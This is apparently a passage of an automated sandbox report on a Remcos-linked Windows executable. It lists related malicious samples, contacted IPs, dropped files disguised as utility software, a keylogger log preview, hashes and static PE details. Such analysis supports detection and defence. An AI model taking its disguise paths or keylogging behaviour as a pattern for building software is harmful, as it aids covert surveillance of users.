                                                                                                                  MatchAssociated Sample Name / URLSHA 256DetectionThreat NameLinkContext
                                                                                                                  3b5074b1b5d032e5620f69f9f700ff0ehCJ8gK9kNn.exeGet hashmaliciousRemcosBrowse
                                                                                                                  • 185.166.143.50
                                                                                                                  • 54.231.193.17
                                                                                                                  x4fDy1muYs.exeGet hashmaliciousUnknownBrowse
                                                                                                                  • 185.166.143.50
                                                                                                                  • 54.231.193.17
                                                                                                                  ozfqy8Ms6t.exeGet hashmaliciousUnknownBrowse
                                                                                                                  • 185.166.143.50
                                                                                                                  • 54.231.193.17
                                                                                                                  3XSXmrEOw7.exeGet hashmaliciousUnknownBrowse
                                                                                                                  • 185.166.143.50
                                                                                                                  • 54.231.193.17
                                                                                                                  hCJ8gK9kNn.exeGet hashmaliciousUnknownBrowse
                                                                                                                  • 185.166.143.50
                                                                                                                  • 54.231.193.17
                                                                                                                  NOTIFICACIONES+FISCALES+Y+DEMANDAS+PENDIENTES.pdf.pdfGet hashmaliciousUnknownBrowse
                                                                                                                  • 185.166.143.50
                                                                                                                  • 54.231.193.17
                                                                                                                  file.exeGet hashmaliciousInvicta Stealer, XWormBrowse
                                                                                                                  • 185.166.143.50
                                                                                                                  • 54.231.193.17
                                                                                                                  http://duckduckgogg42xjoc72x3sjasowoarfbgcmvfimaftt6twagswzczad.onionGet hashmaliciousUnknownBrowse
                                                                                                                  • 185.166.143.50
                                                                                                                  • 54.231.193.17
                                                                                                                  questionable.ps1Get hashmaliciousUnknownBrowse
                                                                                                                  • 185.166.143.50
                                                                                                                  • 54.231.193.17

                                                                                                                  Dropped Files

                                                                                                                  MatchAssociated Sample Name / URLSHA 256DetectionThreat NameLinkContext
                                                                                                                  C:\Users\user\Videos\OrionLegacy\Bin\OrionLegacyCLI.exehCJ8gK9kNn.exeGet hashmaliciousRemcosBrowse
                                                                                                                    hCJ8gK9kNn.exeGet hashmaliciousUnknownBrowse
                                                                                                                      C:\Users\user\AppData\Local\Temp\dzocgvabs.exehCJ8gK9kNn.exeGet hashmaliciousRemcosBrowse
                                                                                                                        C:\Users\user\Favorites\HardDiskSentine\redist\HardDiskSentinelBin.exehCJ8gK9kNn.exeGet hashmaliciousRemcosBrowse

                                                                                                                          Created / dropped Files

                                                                                                                          C:\ProgramData\fdgfghgfhg\logs.dat

                                                                                                                          Download File
                                                                                                                          Process:C:\Users\user\AppData\Local\Temp\dzocgvabs.exe
                                                                                                                          File Type:data
                                                                                                                          Category:dropped
                                                                                                                          Size (bytes):488
                                                                                                                          Entropy (8bit):3.2533689208459093
                                                                                                                          Encrypted:false
                                                                                                                          SSDEEP:12:6laqlhecmlaIbWFe5UlakclaRbWFe5UlaHlaebW+:6NScmzWqUQSWqUoVW+
                                                                                                                          MD5:1AD1E2C9453E1D42E81000398A570D87
                                                                                                                          SHA1:FB3688B9D1296687BC501244BAE9621ABB6E299B
                                                                                                                          SHA-256:C3B7CA12117FB4EC1D7B10EC5810C5DCF0A459664EFB0ADD9A57AEB9FAC677BB
                                                                                                                          SHA-512:7DC0A53899F3B9A5C94EAC24090AB20E9848EC6139B82399E15AC84539A32130C10CEE68CF831F2255A3A3EA50B50244C46B0C474F66B2384E65EF0040AF2EE8
                                                                                                                          Malicious:false
                                                                                                                          Reputation:low
                                                                                                                          Preview:....[.2.0.2.4./.1.2./.1.2. .1.1.:.4.0.:.0.6. .O.f.f.l.i.n.e. .K.e.y.l.o.g.g.e.r. .S.t.a.r.t.e.d.].........[.2.0.2.4./.1.2./.1.2. .1.1.:.4.0.:.0.6. .P.r.o.g.r.a.m. .M.a.n.a.g.e.r.].....[.W.i.n.].r.....[.2.0.2.4./.1.2./.1.2. .1.1.:.4.0.:.1.1. .R.u.n.].........[.2.0.2.4./.1.2./.1.2. .1.1.:.4.0.:.1.6. .P.r.o.g.r.a.m. .M.a.n.a.g.e.r.].....[.W.i.n.].r.....[.2.0.2.4./.1.2./.1.2. .1.1.:.4.0.:.1.9. .R.u.n.].........[.2.0.2.4./.1.2./.1.2. .1.1.:.4.0.:.2.2. .P.r.o.g.r.a.m. .M.a.n.a.g.e.r.].....

                                                                                                                          C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BEDT2L3A\json[1].json

                                                                                                                          Download File
                                                                                                                          Process:C:\Users\user\AppData\Local\Temp\dzocgvabs.exe
                                                                                                                          File Type:JSON data
                                                                                                                          Category:dropped
                                                                                                                          Size (bytes):963
                                                                                                                          Entropy (8bit):5.018384957371898
                                                                                                                          Encrypted:false
                                                                                                                          SSDEEP:12:tkluWJmnd6CsGkMyGWKyGXPVGArwY307f7aZHI7GZArpv/mOAaNO+ao9W7iN5zz2:qlupdRNuKyGX85jvXhNlT3/7CcVKWro
                                                                                                                          MD5:C9BB4D5FD5C8A01D20EBF8334B62AE54
                                                                                                                          SHA1:D38895F4CBB44CB10B6512A19034F14A2FC40359
                                                                                                                          SHA-256:767218EC255B7E851971A77B773C0ECC59DC0B179ECA46ABCC29047EEE6216AA
                                                                                                                          SHA-512:2D412433053610C0229FB3B73A26C8FB684F0A4AB03A53D0533FDC52D4E9882C25037015ACE7D4A411214AA9FAA780A8D950A83B57B200A877E26D7890977157
                                                                                                                          Malicious:false
                                                                                                                          Reputation:low
                                                                                                                          Preview:{. "geoplugin_request":"8.46.123.189",. "geoplugin_status":200,. "geoplugin_delay":"1ms",. "geoplugin_credit":"Some of the returned data includes GeoLite2 data created by MaxMind, available from <a href='https:\/\/www.maxmind.com'>https:\/\/www.maxmind.com<\/a>.",. "geoplugin_city":"New York",. "geoplugin_region":"New York",. "geoplugin_regionCode":"NY",. "geoplugin_regionName":"New York",. "geoplugin_areaCode":"",. "geoplugin_dmaCode":"501",. "geoplugin_countryCode":"US",. "geoplugin_countryName":"United States",. "geoplugin_inEU":0,. "geoplugin_euVATrate":false,. "geoplugin_continentCode":"NA",. "geoplugin_continentName":"North America",. "geoplugin_latitude":"40.7503",. "geoplugin_longitude":"-74.0014",. "geoplugin_locationAccuracyRadius":"20",. "geoplugin_timezone":"America\/New_York",. "geoplugin_currencyCode":"USD",. "geoplugin_currencySymbol":"$",. "geoplugin_currencySymbol_UTF8":"$",. "geoplugin_currencyConverter":0.}

                                                                                                                          C:\Users\user\AppData\Local\Temp\dzocgvabs.exe

                                                                                                                          Download File
                                                                                                                          Process:C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe
                                                                                                                          File Type:PE32 executable (GUI) Intel 80386, for MS Windows
                                                                                                                          Category:dropped
                                                                                                                          Size (bytes):4054528
                                                                                                                          Entropy (8bit):6.41931526899004
                                                                                                                          Encrypted:false
                                                                                                                          SSDEEP:98304:swsFCTOMRebywOIYAXu14+MFL3MrI+rtZg+VRWKldQwsRwRHa0eQkxHodWYPWIRL:Psukx/cRAVyoqjU9sVK+
                                                                                                                          MD5:27650AFE28BA588C759ADE95BF403833
                                                                                                                          SHA1:6D3D03096CEE42FC07300FB0946EC878161DF8A5
                                                                                                                          SHA-256:CA84EC6D70351B003D3CACB9F81BE030CC9DE7AC267CCE718173D4F42CBA2966
                                                                                                                          SHA-512:767CEB499DDA76E63F9ECEAA2AA2940D377E70A2F1B8E74DE72126977C96B32E151BFF1FB88A3199167E16977B641583F8E8EA0F764A35214F6BC9A2D2814FDC
                                                                                                                          Malicious:true
                                                                                                                          Joe Sandbox View:
                                                                                                                          • Filename: hCJ8gK9kNn.exe, Detection: malicious, Browse
                                                                                                                          Reputation:low
                                                                                                                          Preview:MZP.....................@...............................................!..L.!..This program must be run under Win32..$7........................................................................................................................................PE..L....^B*.................. .........H. .......!...@...........................[..................@...........................p=.n5....?.p.....................................................=.....................................................CODE......!....... ................. ..`DATA..........!....... .............@...BSS...........!.......!..................idata...@...p=..6....!.............@....tls..........=.......!..................rdata... ....=.......!.............@..P.rsrc...p.....?.......!.............@..P........................................................................................................................................................................................................................

                                                                                                                          C:\Users\user\Favorites\HardDiskSentine\redist\HardDiskSentinelBin.exe

                                                                                                                          Download File
                                                                                                                          Process:C:\Users\user\AppData\Local\Temp\dzocgvabs.exe
                                                                                                                          File Type:PE32 executable (GUI) Intel 80386, for MS Windows
                                                                                                                          Category:dropped
                                                                                                                          Size (bytes):979567142
                                                                                                                          Entropy (8bit):0.05590638890163692
                                                                                                                          Encrypted:false
                                                                                                                          SSDEEP:
                                                                                                                          MD5:599A413EE85CC3A8A223C83230DC8D54
                                                                                                                          SHA1:5D6E856794B3AF1D96AB0319350856BD5BCE4BE6
                                                                                                                          SHA-256:CAAB3F404A2CE6D4EFCBFEC97172CBC17D2E4A8D128F4BB42BBE677947DBB425
                                                                                                                          SHA-512:6EF58AC644BE1B60F2E65851CEF60E81D772212CB9B127613DDB77A941B555868AD3B616B173574D2129AC5F874650D485E520AE62287C939B5581C9E6D0CC32
                                                                                                                          Malicious:false
                                                                                                                          Joe Sandbox View:
                                                                                                                          • Filename: hCJ8gK9kNn.exe, Detection: malicious, Browse
                                                                                                                          Preview:MZP.....................@...............................................!..L.!..This program must be run under Win32..$7........................................................................................................................................PE..L....^B*.................. .........H. .......!...@...........................[..................@...........................p=.n5....?.p.....................................................=.....................................................CODE......!....... ................. ..`DATA..........!....... .............@...BSS...........!.......!..................idata...@...p=..6....!.............@....tls..........=.......!..................rdata... ....=.......!.............@..P.rsrc...p.....?.......!.............@..P........................................................................................................................................................................................................................

                                                                                                                          C:\Users\user\Videos\OrionLegacy\Bin\OrionLegacyCLI.exe

                                                                                                                          Download File
                                                                                                                          Process:C:\Users\user\Desktop\pPLwX9wSrD.exe
                                                                                                                          File Type:PE32 executable (GUI) Intel 80386, for MS Windows
                                                                                                                          Category:dropped
                                                                                                                          Size (bytes):979567344
                                                                                                                          Entropy (8bit):0.04446253531927003
                                                                                                                          Encrypted:false
                                                                                                                          SSDEEP:
                                                                                                                          MD5:BFE1D6A6FB7A4B19F7B32D9FA6F529B4
                                                                                                                          SHA1:D03151ABB594C66390E0EEEA2E512E8D97E9B36E
                                                                                                                          SHA-256:3B616C5242CCB77FFD37EBE1E229C38D69BA52B5AA3AD244A5A251D88A6169FD
                                                                                                                          SHA-512:C66ED6F768A02028CDC149D104052B544E9B12A14A19DE48EC76D8412D43FA8B3F7BF01F5B50E1BB8DDAE69844C40603AA194C87E3773780443162EF78D3E402
                                                                                                                          Malicious:false
                                                                                                                          Joe Sandbox View:
                                                                                                                          • Filename: hCJ8gK9kNn.exe, Detection: malicious, Browse
                                                                                                                          • Filename: hCJ8gK9kNn.exe, Detection: malicious, Browse
                                                                                                                          Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........UR..;...;...;.K.d...;.2."...;...f...;.F.4...;.F.d.q.;.......;...[...;._."...;.K.f...;...:...;.F.[.D.;.F.g...;.$.e...;.F.a...;.Rich..;.................PE..L...xz.V......................#......0............@...........................0......................................&..........@.........!.........................0...................................@...............$.......@....................text...U........................... ..`.rdata..{...........................@..@.data........0...$..................@....rsrc.....!.......!..@..............@..@........................................................................................................................................................................................................................................................................................................................

                                                                                                                          Static File Info

                                                                                                                          General

                                                                                                                          File type:PE32 executable (GUI) Intel 80386, for MS Windows
                                                                                                                          Entropy (8bit):2.523990419172251
                                                                                                                          TrID:
                                                                                                                          • Win32 Executable (generic) a (10002005/4) 99.96%
                                                                                                                          • Generic Win/DOS Executable (2004/3) 0.02%
                                                                                                                          • DOS Executable Generic (2002/1) 0.02%
                                                                                                                          • Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.00%
                                                                                                                          File name:pPLwX9wSrD.exe
                                                                                                                          File size:10'485'760 bytes
                                                                                                                          MD5:1492e1506afedad20933ae244cf658d1
                                                                                                                          SHA1:db68cd234205c628ebf3a8329246baf3cdc10ead
                                                                                                                          SHA256:8ee7bb70506574eb0ba1bffc0bafd993c707d01e54385ca83fb3f731521a9298
                                                                                                                          SHA512:9fe92f173fa8cb453eeb4bb40abf78164638d15fe6ffcc8aaf8c2f73e22f02b2256d26f50f73fa5f5ef246cdf0d3e3df32576372b20e8fb7ef61d73792ffa80e
                                                                                                                          SSDEEP:49152:S9BlUVJsBsiK9d3MC+qX+EF+Zx6bwMKexczvm4:S9BlEsWl9d3MChfzbwMKemO4
                                                                                                                          TLSH:4DB6AE22B6C0C147EAD25070D296E7F1A1683E39E7412987B3C07E9FB276EC1593B527
                                                                                                                          File Content Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........UR..;...;...;.K.d...;.2."...;...f...;.F.4...;.F.d.q.;.......;...[...;._."...;.K.f...;...:...;.F.[.D.;.F.g...;.$.e...;.F.a...;

                                                                                                                          File Icon

                                                                                                                          Icon Hash:f1a58babada68603

                                                                                                                          Static PE Info

                                                                                                                          General

                                                                                                                          Entrypoint:0x4830cf
                                                                                                                          Entrypoint Section:.text
                                                                                                                          Digitally signed:false
                                                                                                                          Imagebase:0x400000
                                                                                                                          Subsystem:windows gui
                                                                                                                          Image File Characteristics:RELOCS_STRIPPED, EXECUTABLE_IMAGE, LINE_NUMS_STRIPPED, LOCAL_SYMS_STRIPPED, 32BIT_MACHINE
                                                                                                                          DLL Characteristics:
                                                                                                                          Time Stamp:0x56A87A78 [Wed Jan 27 08:06:16 2016 UTC]
                                                                                                                          TLS Callbacks:
                                                                                                                          CLR (.Net) Version:
                                                                                                                          OS Version Major:4
                                                                                                                          OS Version Minor:0
                                                                                                                          File Version Major:4
                                                                                                                          File Version Minor:0
                                                                                                                          Subsystem Version Major:4
                                                                                                                          Subsystem Version Minor:0
                                                                                                                          Import Hash:e52615253ba93e77e88da2201bcab98a

                                                                                                                          Entrypoint Preview

                                                                                                                          Instruction
                                                                                                                          push 00000060h
                                                                                                                          push 004D5458h
                                                                                                                          call 00007FC360D9EED6h
                                                                                                                          mov edi, 00000094h
                                                                                                                          mov eax, edi
                                                                                                                          call 00007FC360D99D6Eh
                                                                                                                          mov dword ptr [ebp-18h], esp
                                                                                                                          mov esi, esp
                                                                                                                          mov dword ptr [esi], edi
                                                                                                                          push esi
                                                                                                                          call dword ptr [004C14E8h]
                                                                                                                          mov ecx, dword ptr [esi+10h]
                                                                                                                          mov dword ptr [004ED0FCh], ecx
                                                                                                                          mov eax, dword ptr [esi+04h]
                                                                                                                          mov dword ptr [004ED108h], eax
                                                                                                                          mov edx, dword ptr [esi+08h]
                                                                                                                          mov dword ptr [004ED10Ch], edx
                                                                                                                          mov esi, dword ptr [esi+0Ch]
                                                                                                                          and esi, 00007FFFh
                                                                                                                          mov dword ptr [004ED100h], esi
                                                                                                                          cmp ecx, 02h
                                                                                                                          je 00007FC360D9D88Eh
                                                                                                                          or esi, 00008000h
                                                                                                                          mov dword ptr [004ED100h], esi
                                                                                                                          shl eax, 08h
                                                                                                                          add eax, edx
                                                                                                                          mov dword ptr [004ED104h], eax
                                                                                                                          xor esi, esi
                                                                                                                          push esi
                                                                                                                          mov edi, dword ptr [004C1488h]
                                                                                                                          call 00007FC360D6D85Ch
                                                                                                                          dec ebp
                                                                                                                          pop edx
                                                                                                                          jne 00007FC360D9D8A1h
                                                                                                                          mov ecx, dword ptr [eax+3Ch]
                                                                                                                          add ecx, eax
                                                                                                                          cmp dword ptr [ecx], 00004550h
                                                                                                                          jne 00007FC360D9D894h
                                                                                                                          movzx eax, word ptr [ecx+18h]
                                                                                                                          cmp eax, 0000010Bh
                                                                                                                          je 00007FC360D9D8A1h
                                                                                                                          cmp eax, 0000020Bh
                                                                                                                          je 00007FC360D9D887h
                                                                                                                          mov dword ptr [ebp-1Ch], esi
                                                                                                                          jmp 00007FC360D9D8A9h
                                                                                                                          cmp dword ptr [ecx+00000084h], 0Eh
                                                                                                                          jbe 00007FC360D9D874h
                                                                                                                          xor eax, eax
                                                                                                                          cmp dword ptr [ecx+000000F8h], esi
                                                                                                                          jmp 00007FC360D9D890h
                                                                                                                          cmp dword ptr [ecx+74h], 0Eh
                                                                                                                          jbe 00007FC360D9D864h
                                                                                                                          xor eax, eax
                                                                                                                          cmp dword ptr [ecx+000000E8h], esi
                                                                                                                          setne al
                                                                                                                          mov dword ptr [ebp-1Ch], eax

                                                                                                                          Rich Headers

                                                                                                                          Programming Language:
                                                                                                                          • [ASM] VS2003 (.NET) SP1 build 6030
                                                                                                                          • [ C ] VS2003 (.NET) SP1 build 6030
                                                                                                                          • [C++] VS2003 (.NET) build 3077
                                                                                                                          • [C++] VS2003 (.NET) SP1 build 6030
                                                                                                                          • [EXP] VS2003 (.NET) SP1 build 6030
                                                                                                                          • [RES] VS2003 (.NET) build 3077
                                                                                                                          • [LNK] VS2003 (.NET) SP1 build 6030

                                                                                                                          Data Directories

                                                                                                                          NameVirtual AddressVirtual Size Is in Section
                                                                                                                          IMAGE_DIRECTORY_ENTRY_EXPORT0xe26f00x18b.rdata
                                                                                                                          IMAGE_DIRECTORY_ENTRY_IMPORT0xdf4b00x140.rdata
                                                                                                                          IMAGE_DIRECTORY_ENTRY_RESOURCE0xef0000x219a18.rsrc
                                                                                                                          IMAGE_DIRECTORY_ENTRY_EXCEPTION0x00x0
                                                                                                                          IMAGE_DIRECTORY_ENTRY_SECURITY0x00x0
                                                                                                                          IMAGE_DIRECTORY_ENTRY_BASERELOC0x00x0
                                                                                                                          IMAGE_DIRECTORY_ENTRY_DEBUG0xc1a300x1c.rdata
                                                                                                                          IMAGE_DIRECTORY_ENTRY_COPYRIGHT0x00x0
                                                                                                                          IMAGE_DIRECTORY_ENTRY_GLOBALPTR0x00x0
                                                                                                                          IMAGE_DIRECTORY_ENTRY_TLS0x00x0
                                                                                                                          IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG0xd9a900x40.rdata
                                                                                                                          IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT0x00x0
                                                                                                                          IMAGE_DIRECTORY_ENTRY_IAT0xc10000xa24.rdata
                                                                                                                          IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT0xdf4000x40.rdata
                                                                                                                          IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR0x00x0
                                                                                                                          IMAGE_DIRECTORY_ENTRY_RESERVED0x00x0

                                                                                                                          Sections

                                                                                                                          NameVirtual AddressVirtual SizeRaw SizeMD5Xored PEZLIB ComplexityFile TypeEntropyCharacteristics
                                                                                                                          .text0x10000xbfd550xbfe00a86b6c827e5e7e0cf5fc9c41a25e4deaFalse0.4546582349348534data6.349271524607046IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
                                                                                                                          .rdata0xc10000x2187b0x21a009e4eab11d2823d639daa51b6b83eccfbFalse0.3397784038104089data5.912662755924659IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
                                                                                                                          .data0xe30000xbb140x240065699f99584db3dd9db5aacc00e8c82dFalse0.3504774305555556data4.5108554971453305IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
                                                                                                                          .rsrc0xef0000x219a180x219c0014aa7097ae14d9835016ab88acd68716unknownunknownunknownunknownIMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ

                                                                                                                          Resources

                                                                                                                          NameRVASizeTypeLanguageCountryZLIB Complexity
                                                                                                                          RT_CURSOR0xefdd00x134Targa image data - RGB 64 x 65536 x 1 +32 "\001"KoreanNorth Korea0.4805194805194805
                                                                                                                          RT_CURSOR0xefdd00x134Targa image data - RGB 64 x 65536 x 1 +32 "\001"KoreanSouth Korea0.4805194805194805
                                                                                                                          RT_CURSOR0xeff040xb4Targa image data - Map 32 x 65536 x 1 +16 "\001"KoreanNorth Korea0.7
                                                                                                                          RT_CURSOR0xeff040xb4Targa image data - Map 32 x 65536 x 1 +16 "\001"KoreanSouth Korea0.7
                                                                                                                          RT_CURSOR0xeffb80x134AmigaOS bitmap font "(", fc_YSize 4294967264, 5120 elements, 2nd "\377\360?\377\377\370\177\377\377\374\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377", 3rdKoreanNorth Korea0.36363636363636365
                                                                                                                          RT_CURSOR0xeffb80x134AmigaOS bitmap font "(", fc_YSize 4294967264, 5120 elements, 2nd "\377\360?\377\377\370\177\377\377\374\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377", 3rdKoreanSouth Korea0.36363636363636365
                                                                                                                          RT_CURSOR0xf00ec0x134Targa image data - RLE 64 x 65536 x 1 +32 "\001"KoreanNorth Korea0.35714285714285715
                                                                                                                          RT_CURSOR0xf00ec0x134Targa image data - RLE 64 x 65536 x 1 +32 "\001"KoreanSouth Korea0.35714285714285715
                                                                                                                          RT_CURSOR0xf02200x134dataKoreanNorth Korea0.37337662337662336
                                                                                                                          RT_CURSOR0xf02200x134dataKoreanSouth Korea0.37337662337662336
                                                                                                                          RT_CURSOR0xf03540x134dataKoreanNorth Korea0.37662337662337664
                                                                                                                          RT_CURSOR0xf03540x134dataKoreanSouth Korea0.37662337662337664
                                                                                                                          RT_CURSOR0xf04880x134Targa image data 64 x 65536 x 1 +32 "\001"KoreanNorth Korea0.36688311688311687
                                                                                                                          RT_CURSOR0xf04880x134Targa image data 64 x 65536 x 1 +32 "\001"KoreanSouth Korea0.36688311688311687
                                                                                                                          RT_CURSOR0xf05bc0x134Targa image data 64 x 65536 x 1 +32 "\001"KoreanNorth Korea0.37662337662337664
                                                                                                                          RT_CURSOR0xf05bc0x134Targa image data 64 x 65536 x 1 +32 "\001"KoreanSouth Korea0.37662337662337664
                                                                                                                          RT_CURSOR0xf06f00x134Targa image data - Mono - RLE 64 x 65536 x 1 +32 "\001"KoreanNorth Korea0.36688311688311687
                                                                                                                          RT_CURSOR0xf06f00x134Targa image data - Mono - RLE 64 x 65536 x 1 +32 "\001"KoreanSouth Korea0.36688311688311687
                                                                                                                          RT_CURSOR0xf08240x134Targa image data - RGB - RLE 64 x 65536 x 1 +32 "\001"KoreanNorth Korea0.38636363636363635
                                                                                                                          RT_CURSOR0xf08240x134Targa image data - RGB - RLE 64 x 65536 x 1 +32 "\001"KoreanSouth Korea0.38636363636363635
                                                                                                                          RT_CURSOR0xf09580x134dataKoreanNorth Korea0.44155844155844154
                                                                                                                          RT_CURSOR0xf09580x134dataKoreanSouth Korea0.44155844155844154
                                                                                                                          RT_CURSOR0xf0a8c0x134dataKoreanNorth Korea0.4155844155844156
                                                                                                                          RT_CURSOR0xf0a8c0x134dataKoreanSouth Korea0.4155844155844156
                                                                                                                          RT_CURSOR0xf0bc00x134AmigaOS bitmap font "(", fc_YSize 4294966847, 3840 elements, 2nd "\377?\374\377\377\300\003\377\377\300\003\377\377\340\007\377\377\360\017\377\377\370\037\377\377\374?\377\377\376\177\377\377\377\377\377\377\377\377\377\377\377\377\377", 3rdKoreanNorth Korea0.5422077922077922
                                                                                                                          RT_CURSOR0xf0bc00x134AmigaOS bitmap font "(", fc_YSize 4294966847, 3840 elements, 2nd "\377?\374\377\377\300\003\377\377\300\003\377\377\340\007\377\377\360\017\377\377\370\037\377\377\374?\377\377\376\177\377\377\377\377\377\377\377\377\377\377\377\377\377", 3rdKoreanSouth Korea0.5422077922077922
                                                                                                                          RT_CURSOR0xf0cf40x134dataKoreanNorth Korea0.2662337662337662
                                                                                                                          RT_CURSOR0xf0cf40x134dataKoreanSouth Korea0.2662337662337662
                                                                                                                          RT_CURSOR0xf0e280x134dataKoreanNorth Korea0.2824675324675325
                                                                                                                          RT_CURSOR0xf0e280x134dataKoreanSouth Korea0.2824675324675325
                                                                                                                          RT_CURSOR0xf0f5c0x134dataKoreanNorth Korea0.3246753246753247
                                                                                                                          RT_CURSOR0xf0f5c0x134dataKoreanSouth Korea0.3246753246753247
                                                                                                                          RT_BITMAP0xf10900x1d4e8Device independent bitmap graphic, 200 x 200 x 24, image size 120000, resolution 3780 x 3780 px/m0.631939353548817
                                                                                                                          RT_BITMAP0x10e5780xb8Device independent bitmap graphic, 12 x 10 x 4, image size 80KoreanNorth Korea0.44565217391304346
                                                                                                                          RT_BITMAP0x10e5780xb8Device independent bitmap graphic, 12 x 10 x 4, image size 80KoreanSouth Korea0.44565217391304346
                                                                                                                          RT_BITMAP0x10e6300x144Device independent bitmap graphic, 33 x 11 x 4, image size 220KoreanNorth Korea0.37962962962962965
                                                                                                                          RT_BITMAP0x10e6300x144Device independent bitmap graphic, 33 x 11 x 4, image size 220KoreanSouth Korea0.37962962962962965
                                                                                                                          RT_ICON0x10e7740x44028Device independent bitmap graphic, 256 x 512 x 32, image size 2621440.2361111111111111
                                                                                                                          RT_ICON0x15279c0x2e8Device independent bitmap graphic, 32 x 64 x 4, image size 512, 16 important colorsKoreanNorth Korea0.34543010752688175
                                                                                                                          RT_ICON0x15279c0x2e8Device independent bitmap graphic, 32 x 64 x 4, image size 512, 16 important colorsKoreanSouth Korea0.34543010752688175
                                                                                                                          RT_ICON0x152a840x128Device independent bitmap graphic, 16 x 32 x 4, image size 128, 16 important colorsKoreanNorth Korea0.543918918918919
                                                                                                                          RT_ICON0x152a840x128Device independent bitmap graphic, 16 x 32 x 4, image size 128, 16 important colorsKoreanSouth Korea0.543918918918919
                                                                                                                          RT_MENU0x152bac0x142dataKoreanNorth Korea0.6149068322981367
                                                                                                                          RT_MENU0x152bac0x142dataKoreanSouth Korea0.6149068322981367
                                                                                                                          RT_DIALOG0x152cf00xc6dataKoreanNorth Korea0.6919191919191919
                                                                                                                          RT_DIALOG0x152cf00xc6dataKoreanSouth Korea0.6919191919191919
                                                                                                                          RT_DIALOG0x152db80xdadataKoreanNorth Korea0.7477064220183486
                                                                                                                          RT_DIALOG0x152db80xdadataKoreanSouth Korea0.7477064220183486
                                                                                                                          RT_DIALOG0x152e940xf4dataKoreanNorth Korea0.6639344262295082
                                                                                                                          RT_DIALOG0x152e940xf4dataKoreanSouth Korea0.6639344262295082
                                                                                                                          RT_STRING0x152f880x34dataKoreanNorth Korea0.5576923076923077
                                                                                                                          RT_STRING0x152f880x34dataKoreanSouth Korea0.5576923076923077
                                                                                                                          RT_STRING0x152fbc0x66dataKoreanNorth Korea0.8627450980392157
                                                                                                                          RT_STRING0x152fbc0x66dataKoreanSouth Korea0.8627450980392157
                                                                                                                          RT_STRING0x1530240x2edataKoreanNorth Korea0.6086956521739131
                                                                                                                          RT_STRING0x1530240x2edataKoreanSouth Korea0.6086956521739131
                                                                                                                          RT_STRING0x1530540xe8dataKoreanNorth Korea0.75
                                                                                                                          RT_STRING0x1530540xe8dataKoreanSouth Korea0.75
                                                                                                                          RT_STRING0x15313c0x30cdataKoreanNorth Korea0.591025641025641
                                                                                                                          RT_STRING0x15313c0x30cdataKoreanSouth Korea0.591025641025641
                                                                                                                          RT_STRING0x1534480x1a8dataKoreanNorth Korea0.4080188679245283
                                                                                                                          RT_STRING0x1534480x1a8dataKoreanSouth Korea0.4080188679245283
                                                                                                                          RT_STRING0x1535f00x1d2dataKoreanNorth Korea0.5815450643776824
                                                                                                                          RT_STRING0x1535f00x1d2dataKoreanSouth Korea0.5815450643776824
                                                                                                                          RT_STRING0x1537c40x68dataKoreanNorth Korea0.8076923076923077
                                                                                                                          RT_STRING0x1537c40x68dataKoreanSouth Korea0.8076923076923077
                                                                                                                          RT_STRING0x15382c0x6edataKoreanNorth Korea0.6272727272727273
                                                                                                                          RT_STRING0x15382c0x6edataKoreanSouth Korea0.6272727272727273
                                                                                                                          RT_STRING0x15389c0xb0dataKoreanNorth Korea0.7102272727272727
                                                                                                                          RT_STRING0x15389c0xb0dataKoreanSouth Korea0.7102272727272727
                                                                                                                          RT_STRING0x15394c0x322AmigaOS bitmap font "X\271", fc_YSize 28844, 9414 elements, 2nd "\030\264\310\305\265\302\310\262\344\262.", 3rd " "KoreanNorth Korea0.4975062344139651
                                                                                                                          RT_STRING0x15394c0x322AmigaOS bitmap font "X\271", fc_YSize 28844, 9414 elements, 2nd "\030\264\310\305\265\302\310\262\344\262.", 3rd " "KoreanSouth Korea0.4975062344139651
                                                                                                                          RT_STRING0x153c700x172AmigaOS bitmap font "X\271", fc_YSize 29895, 9414 elements, 2nd "\210\307\265\302\310\262\344\262.", 3rdKoreanNorth Korea0.5675675675675675
                                                                                                                          RT_STRING0x153c700x172AmigaOS bitmap font "X\271", fc_YSize 29895, 9414 elements, 2nd "\210\307\265\302\310\262\344\262.", 3rdKoreanSouth Korea0.5675675675675675
                                                                                                                          RT_STRING0x153de40x24dataKoreanNorth Korea0.4722222222222222
                                                                                                                          RT_STRING0x153de40x24dataKoreanSouth Korea0.4722222222222222
                                                                                                                          RT_STRING0x153e080x40dataKoreanNorth Korea0.671875
                                                                                                                          RT_STRING0x153e080x40dataKoreanSouth Korea0.671875
                                                                                                                          RT_RCDATA0x153e480x9c27aDelphi compiled form 'TdmMain'0.18977814605775395
                                                                                                                          RT_RCDATA0x1f00c40x7cf06Delphi compiled form 'TFilePropertiesForm2'0.3699384465070835
                                                                                                                          RT_MESSAGETABLE0x26cfcc0x2840data0.32278726708074534
                                                                                                                          RT_MESSAGETABLE0x26f80c0x2840data0.4297360248447205
                                                                                                                          RT_MESSAGETABLE0x27204c0x2840data0.32754270186335405
                                                                                                                          RT_GROUP_CURSOR0x27488c0x22Lotus unknown worksheet or configuration, revision 0x2KoreanNorth Korea1.0294117647058822
                                                                                                                          RT_GROUP_CURSOR0x27488c0x22Lotus unknown worksheet or configuration, revision 0x2KoreanSouth Korea1.0294117647058822
                                                                                                                          RT_GROUP_CURSOR0x2748b00x14Lotus unknown worksheet or configuration, revision 0x1KoreanNorth Korea1.3
